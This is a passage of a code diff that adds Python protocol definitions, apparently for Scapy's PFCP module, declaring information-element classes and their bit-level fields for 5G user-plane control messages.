Raw: + cls = IE_NotImplemented + + return cls(s) + + +class IE_Base(PFCPLengthMixin, Packet): + default_length = None + + def __init__(self, *args, **kwargs): + self.fields_desc[0].default = self.ie_type + self.fields_desc[1].default = self.default_length + super(IE_Base, self).__init__(*args, **kwargs) + + def extract_padding(self, pkt): + return "", pkt + + fields_desc = [ + ShortEnumField("ietype", 0, IEType), + ShortField("length", None) + ] + + +class IE_Compound(IE_Base): + fields_desc = IE_Base.fields_desc + [ + PacketListField("IE_list", None, IE_Dispatcher, + length_from=lambda pkt: pkt.length) + ] + + +class IE_CreatePDR(IE_Compound): + name = "IE Create PDR" + ie_type = 1 + + +class IE_PDI(IE_Compound): + name = "IE PDI" + ie_type = 2 + + +class IE_CreateFAR(IE_Compound): + name = "IE Create FAR" + ie_type = 3 + + +class IE_ForwardingParameters(IE_Compound): + name = "IE Forwarding Parameters" + ie_type = 4 + + +class IE_DuplicatingParameters(IE_Compound): + name = "IE Duplicating Parameters" + ie_type = 5 + + +class IE_CreateURR(IE_Compound): + name = "IE Create URR" + ie_type = 6 + + +class IE_CreateQER(IE_Compound): + name = "IE Create QER" + ie_type = 7 + + +class IE_CreatedPDR(IE_Compound): + name = "IE Created PDR" + ie_type = 8 + + +class IE_UpdatePDR(IE_Compound): + name = "IE Update PDR" + ie_type = 9 + + +class IE_UpdateFAR(IE_Compound): + name = "IE Update FAR" + ie_type = 10 + + +class IE_UpdateForwardingParameters(IE_Compound): + name = "IE Update Forwarding Parameters" + ie_type = 11 + + +class IE_UpdateBAR_SRR(IE_Compound): + name = "IE Update BAR (PFCP Session Report Response)" + ie_type = 12 + + +class IE_UpdateURR(IE_Compound): + name = "IE Update URR" + ie_type = 13 + + +class IE_UpdateQER(IE_Compound): + name = "IE Update QER" + ie_type = 14 + + +class IE_RemovePDR(IE_Compound): + name = "IE Remove PDR" + ie_type = 15 + + +class IE_RemoveFAR(IE_Compound): + name = "IE Remove FAR" + ie_type = 16 + + +class IE_RemoveURR(IE_Compound): + name = "IE Remove URR" + ie_type = 17 + + +class IE_RemoveQER(IE_Compound): + name = "IE Remove QER" + ie_type = 18 + + +class IE_LoadControlInformation(IE_Compound): + name = "IE Load Control Information" + ie_type = 51 + + +class IE_OverloadControlInformation(IE_Compound): + name = "IE Overload Control Information" + ie_type = 54 + + +class IE_ApplicationID_PFDs(IE_Compound): + name = "IE Application ID's PFDs" + ie_type = 58 + + +class IE_PFDContext(IE_Compound): + name = "IE PFD context" + ie_type = 59 + + +class IE_ApplicationDetectionInformation(IE_Compound): + name = "IE Application Detection Information" + ie_type = 68 + + +class IE_QueryURR(IE_Compound): + name = "IE Query URR" + ie_type = 77 + + +class IE_UsageReport_SMR(IE_Compound): + name = "IE Usage Report (Session Modification Response)" + ie_type = 78 + + +class IE_UsageReport_SDR(IE_Compound): + name = "IE Usage Report (Session Deletion Response)" + ie_type = 79 + + +class IE_UsageReport_SRR(IE_Compound): + name = "IE Usage Report (Session Report Request)" + ie_type = 80 + + +class IE_DownlinkDataReport(IE_Compound): + name = "IE Downlink Data Report" + ie_type = 83 + + +class IE_Create_BAR(IE_Compound): + name = "IE Create BAR" + ie_type = 85 + + +class IE_Update_BAR_SMR(IE_Compound): + name = "IE Update BAR (Session Modification Request)" + ie_type = 86 + + +class IE_Remove_BAR(IE_Compound): + name = "IE Remove BAR" + ie_type = 87 + + +class IE_ErrorIndicationReport(IE_Compound): + name = "IE Error Indication Report" + ie_type = 99 + + +class IE_UserPlanePathFailureReport(IE_Compound): + name = "IE User Plane Path Failure Report" + ie_type = 102 + + +class IE_UpdateDuplicatingParameters(IE_Compound): + name = "IE Update Duplicating Parameters" + ie_type = 105 + + +class IE_AggregatedURRs(IE_Compound): + name = "IE Aggregated URRs" + ie_type = 118 + + +class IE_CreateTrafficEndpoint(IE_Compound): + name = "IE Create Traffic Endpoint" + ie_type = 127 + + +class IE_CreatedTrafficEndpoint(IE_Compound): + name = "IE Created Traffic Endpoint" + ie_type = 128 + + +class IE_UpdateTrafficEndpoint(IE_Compound): + name = "IE Update Traffic Endpoint" + ie_type = 129 + + +class IE_RemoveTrafficEndpoint(IE_Compound): + name = "IE Remove Traffic Endpoint" + ie_type = 130 + + +class IE_EthernetPacketFilter(IE_Compound): + name = "IE Ethernet Packet Filter" + ie_type = 132 + + +class IE_EthernetTrafficInformation(IE_Compound): + name = "IE Ethernet Traffic Information" + ie_type = 143 + + +class IE_AdditionalMonitoringTime(IE_Compound): + name = "IE Additional Monitoring Time" + ie_type = 147 + + +class IE_Cause(IE_Base): + ie_type = 19 + name = "IE Cause" + fields_desc = IE_Base.fields_desc + [ + ByteEnumField("cause", None, CauseValues) + ] + + +class IE_SourceInterface(IE_Base): + name = "IE Source Interface" + ie_type = 20 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitEnumField("interface", "Access", 4, SourceInterface), + ExtraDataField("extra_data"), + ] + + +class IE_FTEID(IE_Base): + name = "IE F-TEID" + ie_type = 21 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitField("CHID", 0, 1), + BitField("CH", 0, 1), + BitField("V6", 0, 1), + BitField("V4", 0, 1), + ConditionalField(XIntField("TEID", 0), lambda x: x.CH == 0), + ConditionalField(IPField("ipv4", 0), + lambda x: x.V4 == 1 and x.CH == 0), + ConditionalField(IP6Field("ipv6", 0), + lambda x: x.V6 == 1 and x.CH == 0), + ConditionalField(ByteField("choose_id", 0), + lambda x: x.CHID == 1), + ExtraDataField("extra_data"), + ] + + +class IE_NetworkInstance(IE_Base): + name = "IE Network Instance" + ie_type = 22 + fields_desc = IE_Base.fields_desc + [ + APNStrLenField("instance", "", length_from=lambda x: x.length) + ] + + +class IE_SDF_Filter(IE_Base): + name = "IE SDF Filter" + ie_type = 23 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 3), + BitField("BID", 0, 1), + BitField("FL", 0, 1), + BitField("SPI", 0, 1), + BitField("TTC", 0, 1), + BitField("FD", 0, 1), + ByteField("spare_oct", 0), + ConditionalField(FieldLenField("flow_description_length", None, + length_of="flow_description"), + lambda pkt: pkt.FD == 1), + ConditionalField(StrLenField("flow_description", "", + length_from=lambda pkt: + pkt.flow_description_length), + lambda pkt: pkt.FD == 1), + ConditionalField(ByteField("tos_traffic_class", 0), + lambda pkt: pkt.TTC == 1), + ConditionalField(ByteField("tos_traffic_mask", 0), + lambda pkt: pkt.TTC == 1), + ConditionalField(IntField("security_parameter_index", 0), + lambda pkt: pkt.SPI == 1), + ConditionalField(ThreeBytesField("flow_label", 0), + lambda pkt: pkt.FL == 1), + ConditionalField(IntField("sdf_filter_id", 0), + lambda pkt: pkt.BID == 1), + ExtraDataField("extra_data"), + ] + + +class IE_ApplicationId(IE_Base): + name = "IE Application ID" + ie_type = 24 + fields_desc = IE_Base.fields_desc + [ + StrLenField("id", "", length_from=lambda x: x.length), + ] + + +class IE_GateStatus(IE_Base): + name = "IE Gate Status" + ie_type = 25 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitEnumField("ul", "OPEN", 2, GateStatus), + BitEnumField("dl", "OPEN", 2, GateStatus), + ExtraDataField("extra_data"), + ] + + +class IE_MBR(IE_Base): + name = "IE MBR" + ie_type = 26 + fields_desc = IE_Base.fields_desc + [ + Int40Field("ul", 0), + Int40Field("dl", 0), + ExtraDataField("extra_data"), + ] + + +class IE_GBR(IE_Base): + name = "IE GBR" + ie_type = 27 + fields_desc = IE_Base.fields_desc + [ + Int40Field("ul", 0), + Int40Field("dl", 0), + ExtraDataField("extra_data"), + ] + + +class IE_QERCorrelationId(IE_Base): + name = "IE QER Correlation ID" + ie_type = 28 + fields_desc = IE_Base.fields_desc + [ + IntField("id", 0), + ExtraDataField("extra_data"), + ] + + +class IE_Precedence(IE_Base): + name = "IE Precedence" + ie_type = 29 + fields_desc = IE_Base.fields_desc + [ + IntField("precedence", 0), + ExtraDataField("extra_data"), + ] + + +class IE_TransportLevelMarking(IE_Base): + name = "IE Transport Level Marking" + ie_type = 30 + fields_desc = IE_Base.fields_desc + [ + XByteField("tos", 0), + XByteField("traffic_class", 0), + ExtraDataField("extra_data"), + ] + + +class IE_VolumeThreshold(IE_Base): + name = "IE Volume Threshold" + ie_type = 31 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitField("DLVOL", 0, 1), + BitField("ULVOL", 0, 1), + BitField("TOVOL", 0, 1), + ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), + ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), + ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), + ExtraDataField("extra_data"), + ] + + +class IE_TimeThreshold(IE_Base): + name = "IE Time Threshold" + ie_type = 32 + fields_desc = IE_Base.fields_desc + [ + IntField("threshold", 0), + ExtraDataField("extra_data"), + ] + + +class IE_MonitoringTime(IE_Base): + name = "IE Monitoring Time" + ie_type = 33 + fields_desc = IE_Base.fields_desc + [ + IntField("time_value", 0), + ExtraDataField("extra_data"), + ] + + +class IE_SubsequentVolumeThreshold(IE_Base): + name = "IE Subsequent Volume Threshold" + ie_type = 34 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitField("DLVOL", 0, 1), + BitField("ULVOL", 0, 1), + BitField("TOVOL", 0, 1), + ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), + ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), + ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), + ExtraDataField("extra_data"), + ] + + +class IE_SubsequentTimeThreshold(IE_Base): + name = "IE Subsequent Time Threshold" + ie_type = 35 + fields_desc = IE_Base.fields_desc + [ + IntField("threshold", 0), + ExtraDataField("extra_data"), + ] + + +class IE_InactivityDetectionTime(IE_Base): + name = "IE Inactivity Detection Time" + ie_type = 36 + fields_desc = IE_Base.fields_desc + [ + IntField("time_value", 0), + ExtraDataField("extra_data"), + ] + + +class IE_ReportingTriggers(IE_Base): + name = "IE Reporting Triggers" + ie_type = 37 + fields_desc = IE_Base.fields_desc + [ + BitField("linked_usage_reporting", 0, 1), + BitField("dropped_dl_traffic_threshold", 0, 1), + BitField("stop_of_traffic", 0, 1), + BitField("start_of_traffic", 0, 1), + BitField("quota_holding_time", 0, 1), + BitField("time_threshold", 0, 1), + BitField("volume_threshold", 0, 1), + BitField("periodic_reporting", 0, 1), + XBitField("spare", 0, 2), + BitField("event_quota", 0, 1), + BitField("event_threshold", 0, 1), + BitField("mac_addresses_reporting", 0, 1), + BitField("envelope_closure", 0, 1), + BitField("time_quota", 0, 1), + BitField("volume_quota", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_RedirectInformation(IE_Base): + name = "IE Redirect Information" + ie_type = 38 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitEnumField("type", "IPv4 address", 4, RedirectAddressType), + FieldLenField("address_length", None, length_of="address"), + StrLenField("address", "", length_from=lambda pkt: pkt.address_length), + ExtraDataField("extra_data"), + ] + + +class IE_ReportType(IE_Base): + name = "IE Report Type" + ie_type = 39 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitField("UPIR", 0, 1), + BitField("ERIR", 0, 1), + BitField("USAR", 0, 1), + BitField("DLDR", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_OffendingIE(IE_Base): + name = "IE Offending IE" + ie_type = 40 + fields_desc = IE_Base.fields_desc + [ + ShortEnumField("type", None, IEType) + ] + + +class IE_ForwardingPolicy(IE_Base): + name = "IE Forwarding Policy" + ie_type = 41 + fields_desc = IE_Base.fields_desc + [ + FieldLenField("policy_identifier_length", None, + length_of="policy_identifier", fmt="B"), + StrLenField("policy_identifier", "", + length_from=lambda pkt: pkt.policy_identifier_length) + ] + + +class IE_DestinationInterface(IE_Base): + name = "IE Destination Interface" + ie_type = 42 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitEnumField("interface", "Access", 4, DestinationInterface), + ExtraDataField("extra_data"), + ] + + +class IE_UPFunctionFeatures(IE_Base): + name = "IE UP Function Features" + ie_type = 43 + default_length = 2 + fields_desc = IE_Base.fields_desc + [ + ConditionalField(BitField("TREU", None, 1), lambda x: x.length > 0), + ConditionalField(BitField("HEEU", None, 1), lambda x: x.length > 0), + ConditionalField(BitField("PFDM", None, 1), lambda x: x.length > 0), + ConditionalField(BitField("FTUP", None, 1), lambda x: x.length > 0), + + ConditionalField(BitField("TRST", None, 1), lambda x: x.length > 0), + ConditionalField(BitField("DLBD", None, 1), lambda x: x.length > 0), + ConditionalField(BitField("DDND", None, 1), lambda x: x.length > 0), + ConditionalField(BitField("BUCP", None, 1), lambda x: x.length > 0), + + ConditionalField(BitField("spare", None, 1), lambda x: x.length > 1), + ConditionalField(BitField("PFDE", None, 1), lambda x: x.length > 1), + ConditionalField(BitField("FRRT", None, 1), lambda x: x.length > 1), + ConditionalField(BitField("TRACE", None, 1), lambda x: x.length > 1), + + ConditionalField(BitField("QUOAC", None, 1), lambda x: x.length > 1), + ConditionalField(BitField("UDBC", None, 1), lambda x: x.length > 1), + ConditionalField(BitField("PDIU", None, 1), lambda x: x.length > 1), + ConditionalField(BitField("EMPU", None, 1), lambda x: x.length > 1), + + ExtraDataField("extra_data"), + ] + + +class IE_ApplyAction(IE_Base): + name = "IE Apply Action" + ie_type = 44 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", None, 3), + BitField("DUPL", 0, 1), + BitField("NOCP", 0, 1), + BitField("BUFF", 0, 1), + BitField("FORW", 0, 1), + BitField("DROP", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_DownlinkDataServiceInformation(IE_Base): + name = "IE Downlink Data Service Information" + ie_type = 45 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare_1", None, 6), + BitField("QFII", 0, 1), + BitField("PPI", 0, 1), + ConditionalField( + XBitField("spare_2", None, 2), + lambda x: x.PPI == 1), + ConditionalField( + XBitField("ppi_val", None, 6), + lambda x: x.PPI == 1), + ConditionalField( + XBitField("spare_3", None, 2), + lambda x: x.QFII == 1), + ConditionalField( + XBitField("qfi_val", None, 6), + lambda x: x.QFII == 1), + ExtraDataField("extra_data"), + ] + + +class IE_DownlinkDataNotificationDelay(IE_Base): + name = "IE Downlink Data Notification Delay" + ie_type = 46 + fields_desc = IE_Base.fields_desc + [ + ByteField("delay", 0), # in multiples of 50 + ExtraDataField("extra_data"), + ] + + +class IE_DLBufferingDuration(IE_Base): + name = "IE DL Buffering Duration" + ie_type = 47 + fields_desc = IE_Base.fields_desc + [ + BitEnumField("timer_unit", "2 seconds", 3, TimerUnit), + BitField("timer_value", 0, 5), + ExtraDataField("extra_data"), + ] + + +class IE_DLBufferingSuggestedPacketCount(IE_Base): + name = "IE DL Buffering Suggested Packet Count" + ie_type = 48 + fields_desc = IE_Base.fields_desc + [ + MultipleTypeField([ + ( + ByteField("count", 0), + (lambda x: x.length == 1, + lambda x, val: x.length == 1 or + (x.length is None and val < 256)), + ), + ( + ShortField("count", 0), + (lambda x: x.length == 2, + lambda x, val: x.length == 1 or + (x.length is None and val >= 256)) + ), + ], ByteField("count", 0)) + ] + + +class IE_PFCPSMReqFlags(IE_Base): + name = "IE PFCPSMReq-Flags" + ie_type = 49 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", None, 5), + BitField("QUARR", 0, 1), + BitField("SNDEM", 0, 1), + BitField("DROBU", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_PFCPSRRspFlags(IE_Base): + name = "IE PFCPSRRsp-Flags" + ie_type = 50 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", None, 7), + BitField("DROBU", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_SequenceNumber(IE_Base): + name = "IE Sequence Number" + ie_type = 52 + fields_desc = IE_Base.fields_desc + [ + IntField("number", 0), + ] + + +class IE_Metric(IE_Base): + name = "IE Metric" + ie_type = 53 + fields_desc = IE_Base.fields_desc + [ + ByteField("metric", 0), + ] + + +class IE_Timer(IE_Base): + name = "IE Timer" + ie_type = 55 + fields_desc = IE_Base.fields_desc + [ + BitEnumField("timer_unit", "2 seconds", 3, TimerUnit), + BitField("timer_value", 0, 5), + ExtraDataField("extra_data"), + ] + + +class IE_PDR_Id(IE_Base): + name = "IE PDR ID" + ie_type = 56 + fields_desc = IE_Base.fields_desc + [ + ShortField("id", 0), + ExtraDataField("extra_data"), + ] + + +class IE_FSEID(IE_Base): + name = "IE F-SEID" + ie_type = 57 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 6), + BitField("v4", 0, 1), + BitField("v6", 0, 1), + XLongField("seid", 0), + ConditionalField(IPField("ipv4", 0), + lambda x: x.v4 == 1), + ConditionalField(IP6Field("ipv6", 0), + lambda x: x.v6 == 1), + ExtraDataField("extra_data"), + ] + + +class IE_NodeId(IE_Base): + name = "IE Node ID" + ie_type = 60 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitEnumField("id_type", "IPv4", 4, NodeIdType), + ConditionalField(IPField("ipv4", 0), + lambda x: x.id_type == 0), + ConditionalField(IP6Field("ipv6", 0), + lambda x: x.id_type == 1), + ConditionalField( + APNStrLenField("id", "", length_from=lambda x: x.length - 1), + lambda x: x.id_type == 2), + ExtraDataField("extra_data"), + ] + + +class IE_PFDContents(IE_Base): + name = "IE PFD contents" + ie_type = 61 + fields_desc = IE_Base.fields_desc + [ + BitField("ADNP", 0, 1), + BitField("AURL", 0, 1), + BitField("AFD", 0, 1), + BitField("DNP", 0, 1), + BitField("CP", 0, 1), + BitField("DN", 0, 1), + BitField("URL", 0, 1), + BitField("FD", 0, 1), + ByteField("spare_2", 0), + ConditionalField(FieldLenField("flow_length", None, length_of="flow"), + lambda pkt: pkt.FD == 1), + ConditionalField(StrLenField("flow", "", + length_from=lambda pkt: pkt.flow_length), + lambda pkt: pkt.FD == 1), + ConditionalField(FieldLenField("url_length", None, length_of="url"), + lambda pkt: pkt.URL == 1), + ConditionalField(StrLenField("url", "", + length_from=lambda pkt: pkt.url_length), + lambda pkt: pkt.URL == 1), + ConditionalField(FieldLenField("domain_length", None, + length_of="domain"), + lambda pkt: pkt.DN == 1), + ConditionalField( + StrLenField("domain", "", + length_from=lambda pkt: pkt.domain_length), + lambda pkt: pkt.DN == 1), + ConditionalField(FieldLenField("custom_length", None, + length_of="custom"), + lambda pkt: pkt.CP == 1), + ConditionalField( + StrLenField("custom", "", + length_from=lambda pkt: pkt.custom_length), + lambda pkt: pkt.CP == 1), + ConditionalField(FieldLenField("dnp_length", None, length_of="dnp"), + lambda pkt: pkt.DNP == 1), + ConditionalField(StrLenField("dnp", "", + length_from=lambda pkt: pkt.dnp_length), + lambda pkt: pkt.DNP == 1), + ConditionalField(FieldLenField("additional_flow_length", None, + length_of="additional_flow"), + lambda pkt: pkt.AFD == 1), + ConditionalField( + StrLenField("additional_flow", "", + length_from=lambda pkt: pkt.additional_flow_length), + lambda pkt: pkt.AFD == 1), + ConditionalField(FieldLenField("additional_url_length", None, + length_of="additional_url"), + lambda pkt: pkt.AURL == 1), + ConditionalField( + StrLenField("additional_url", "", + length_from=lambda pkt: pkt.additional_url_length), + lambda pkt: pkt.AURL == 1), + ConditionalField( + FieldLenField("additional_dn_dnp_length", None, + length_of="additional_dn_dnp"), + lambda pkt: pkt.ADNP == 1), + ConditionalField( + StrLenField("additional_dn_dnp", "", + length_from=lambda pkt: pkt.additional_dn_dnp_length), + lambda pkt: pkt.ADNP == 1), + ExtraDataField("extra_data"), + ] + + +class IE_MeasurementMethod(IE_Base): + name = "IE Measurement Method" + ie_type = 62 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitField("EVENT", 0, 1), + BitField("VOLUM", 0, 1), + BitField("DURAT", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_UsageReportTrigger(IE_Base): + name = "IE Usage Report Trigger" + ie_type = 63 + fields_desc = IE_Base.fields_desc + [ + BitField("IMMER", 0, 1), + BitField("DROTH", 0, 1), + BitField("STOPT", 0, 1), + BitField("START", 0, 1), + BitField("QUHTI", 0, 1), + BitField("TIMTH", 0, 1), + BitField("VOLTH", 0, 1), + BitField("PERIO", 0, 1), + BitField("EVETH", 0, 1), + BitField("MACAR", 0, 1), + BitField("ENVCL", 0, 1), + BitField("MONIT", 0, 1), + BitField("TERMR", 0, 1), + BitField("LIUSA", 0, 1), + BitField("TIMQU", 0, 1), + BitField("VOLQU", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_MeasurementPeriod(IE_Base): + name = "IE Measurement Period" + ie_type = 64 + fields_desc = IE_Base.fields_desc + [ + IntField("period", 0), + ExtraDataField("extra_data"), + ] + + +class IE_FqCSID(IE_Base): + name = "IE FQ-CSID" + ie_type = 65 + fields_desc = IE_Base.fields_desc + [ + BitEnumField("node_id_type", "IPv4", 4, FqCSIDNodeIdType), + BitFieldLenField("num_csids", None, 4, count_of="csids"), + ConditionalField(IPField("ipv4", 0), + lambda x: x.node_id_type == 0), + ConditionalField(IP6Field("ipv6", 0), + lambda x: x.node_id_type == 1), + ConditionalField( + # FIXME: split (value = mcc * 1000 + mnc) + BitField("mcc_mnc", 0, 20), + lambda x: x.node_id_type == 2), + # "Least significant 12 bits is a 12 bit integer assigned by + # an operator to an MME, SGW-C, SGW-U, PGW-C or PGW-U." + ConditionalField( + BitField("extra_id", 0, 12), + lambda x: x.node_id_type == 2), + FieldListField("csids", None, ShortField("csid", 0), + count_from=lambda x: x.num_csids), + ExtraDataField("extra_data"), + ] + + +class IE_VolumeMeasurement(IE_Base): + name = "IE Volume Measurement" + ie_type = 66 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitField("DLVOL", 0, 1), + BitField("ULVOL", 0, 1), + BitField("TOVOL", 0, 1), + ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), + ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), + ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), + ExtraDataField("extra_data"), + ] + + +class IE_DurationMeasurement(IE_Base): + name = "IE Duration Measurement" + ie_type = 67 + fields_desc = IE_Base.fields_desc + [ + IntField("duration", 0), + ExtraDataField("extra_data"), + ] + + +class IE_TimeOfFirstPacket(IE_Base): + name = "IE Time of First Packet" + ie_type = 69 + fields_desc = IE_Base.fields_desc + [ + IntField("timestamp", 0), + ExtraDataField("extra_data"), + ] + + +class IE_TimeOfLastPacket(IE_Base): + name = "IE Time of Last Packet" + ie_type = 70 + fields_desc = IE_Base.fields_desc + [ + IntField("timestamp", 0), + ExtraDataField("extra_data"), + ] + + +class IE_QuotaHoldingTime(IE_Base): + name = "IE Quota Holding Time" + ie_type = 71 + fields_desc = IE_Base.fields_desc + [ + IntField("time_value", 0), + ExtraDataField("extra_data"), + ] + + +class IE_DroppedDLTrafficThreshold(IE_Base): + name = "IE Dropped DL Traffic Threshold" + ie_type = 72 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 6), + BitField("DLBY", 0, 1), + BitField("DLPA", 0, 1), + ConditionalField(LongField("packet_count", 0), + lambda x: x.DLPA == 1), + ConditionalField(LongField("byte_count", 0), + lambda x: x.DLBY == 1), + ExtraDataField("extra_data"), + ] + + +class IE_VolumeQuota(IE_Base): + name = "IE Volume Quota" + ie_type = 73 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitField("DLVOL", 0, 1), + BitField("ULVOL", 0, 1), + BitField("TOVOL", 0, 1), + ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), + ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), + ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), + ExtraDataField("extra_data"), + ] + + +class IE_TimeQuota(IE_Base): + name = "IE Time Quota" + ie_type = 74 + fields_desc = IE_Base.fields_desc + [ + IntField("quota", 0), + ExtraDataField("extra_data"), + ] + + +class IE_StartTime(IE_Base): + name = "IE Start Time" + ie_type = 75 + fields_desc = IE_Base.fields_desc + [ + IntField("timestamp", 0), + ExtraDataField("extra_data"), + ] + + +class IE_EndTime(IE_Base): + name = "IE End Time" + ie_type = 76 + fields_desc = IE_Base.fields_desc + [ + IntField("timestamp", 0), + ExtraDataField("extra_data"), + ] + + +class IE_URR_Id(IE_Base): + name = "IE URR ID" + ie_type = 81 + fields_desc = IE_Base.fields_desc + [ + IntField("id", 0), + ExtraDataField("extra_data"), + ] + + +class IE_LinkedURR_Id(IE_Base): + name = "IE Linked URR ID" + ie_type = 82 + fields_desc = IE_Base.fields_desc + [ + IntField("id", 0), + ExtraDataField("extra_data"), + ] + + +class IE_OuterHeaderCreation(IE_Base): + name = "IE Outer Header Creation" + ie_type = 84 + fields_desc = IE_Base.fields_desc + [ + BitField("STAG", 0, 1), + BitField("CTAG", 0, 1), + BitField("IPV6", 0, 1), + BitField("IPV4", 0, 1), + BitField("UDPIPV6", 0, 1), + BitField("UDPIPV4", 0, 1), + BitField("GTPUUDPIPV6", 0, 1), + BitField("GTPUUDPIPV4", 0, 1), + ByteField("spare", 0), + ConditionalField(XIntField("TEID", 0), + lambda x: x.GTPUUDPIPV4 == 1 or x.GTPUUDPIPV6 == 1), + ConditionalField(IPField("ipv4", 0), + lambda x: + x.IPV4 == 1 or x.UDPIPV4 == 1 or x.GTPUUDPIPV4 == 1), + ConditionalField(IP6Field("ipv6", 0), + lambda x: + x.IPV6 == 1 or x.UDPIPV6 == 1 or x.GTPUUDPIPV6 == 1), + ConditionalField(ShortField("port", 0), + lambda x: x.UDPIPV4 == 1 or x.UDPIPV6 == 1), + ConditionalField(ThreeBytesField("ctag", 0), + lambda x: x.CTAG == 1), + ConditionalField(ThreeBytesField("stag", 0), + lambda x: x.STAG == 1), + ExtraDataField("extra_data"), + ] + + +class IE_BAR_Id(IE_Base): + name = "IE BAR ID" + ie_type = 88 + fields_desc = IE_Base.fields_desc + [ + ByteField("id", 0), + ExtraDataField("extra_data"), + ] + + +class IE_CPFunctionFeatures(IE_Base): + name = "IE CP Function Features" + ie_type = 89 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 6), + BitField("OVRL", 0, 1), + BitField("LOAD", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_UsageInformation(IE_Base): + name = "IE Usage Information" + ie_type = 90 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 4), + BitField("UBE", 0, 1), + BitField("UAE", 0, 1), + BitField("AFT", 0, 1), + BitField("BEF", 0, 1), + ExtraDataField("extra_data"), + ] + + +class IE_ApplicationInstanceId(IE_Base): + name = "IE Application Instance ID" + ie_type = 91 + fields_desc = IE_Base.fields_desc + [ + StrLenField("id", "", length_from=lambda x: x.length) + ] + + +class IE_FlowInformation(IE_Base): + name = "IE Flow Information" + ie_type = 92 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitEnumField("direction", "Unspecified", 3, FlowDirection), + FieldLenField("flow_length", None, length_of="flow"), + StrLenField("flow", "", length_from=lambda x: x.flow_length), + ExtraDataField("extra_data"), + ] + + +class IE_UE_IP_Address(IE_Base): + name = "IE UE IP Address" + ie_type = 93 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare", 0, 5), + BitField("SD", 0, 1), # source or dest + BitField("V4", 0, 1), + BitField("V6", 0, 1), + ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1), + ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1), + ExtraDataField("extra_data"), + ] + + +class IE_PacketRate(IE_Base): + name = "IE Packet Rate" + ie_type = 94 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare_1", 0, 6), + BitField("DLPR", 0, 1), + BitField("ULPR", 0, 1), + ConditionalField(BitField("spare_2", 0, 5), lambda x: x.ULPR == 1), + ConditionalField(BitEnumField("ul_time_unit", "minute", 3, TimeUnit), + lambda x: x.ULPR == 1), + ConditionalField(ShortField("ul_max_packet_rate", 0), + lambda x: x.ULPR == 1), + ConditionalField(BitField("spare_3", 0, 5), lambda x: x.DLPR == 1), + ConditionalField(BitEnumField("dl_time_unit", "minute", 3, TimeUnit), + lambda x: x.DLPR == 1), + ConditionalField(ShortField("dl_max_packet_rate", 0), + lambda x: x.DLPR == 1), + ExtraDataField("extra_data"), + ] + + +class IE_OuterHeaderRemoval(IE_Base): + name = "IE Outer Header Removal" + ie_type = 95 + fields_desc = IE_Base.fields_desc + [ + ByteEnumField("header", None, OuterHeaderRemovalDescription), + ConditionalField(XBitField("spare", None, 7), + lambda x: x.length is not None and x.length > 1), + ConditionalField(BitField("pdu_session_container", None, 1), + lambda x: x.length is not None and x.length > 1), + ExtraDataField("extra_data"), + ] + + +class IE_RecoveryTimeStamp(IE_Base): + name = "IE Recovery Time Stamp" + ie_type = 96 + default_length = 4 + fields_desc = IE_Base.fields_desc + [ + IntField("timestamp", 0), + ExtraDataField("extra_data"), + ] + + +class IE_DLFlowLevelMarking(IE_Base): + name = "IE DL Flow Level Marking" + ie_type = 97 + fields_desc = IE_Base.fields_desc + [ + XBitField("spare_1", 0, 6), + BitField("SCI", 0, 1), + BitField("TTC", 0, 1), + ConditionalField(ByteField("traffic_class", 0), lambda x: x.TTC), + ConditionalField(ByteField("traffic_class_mask", 0), lambda x: x.TTC), + ConditionalField(ByteField("service_class_indicator", 0), + lambda x: x.SCI), + ConditionalField(ByteField("spare_2", 0), lambda x: x.SCI), + ExtraDataField("extra_data"), + ] + + +class IE_HeaderEnrichment(IE_Base): + name = "IE Header Enrichment" + ie_type = 98 + fields_desc = IE_Base.fields_desc + [ + 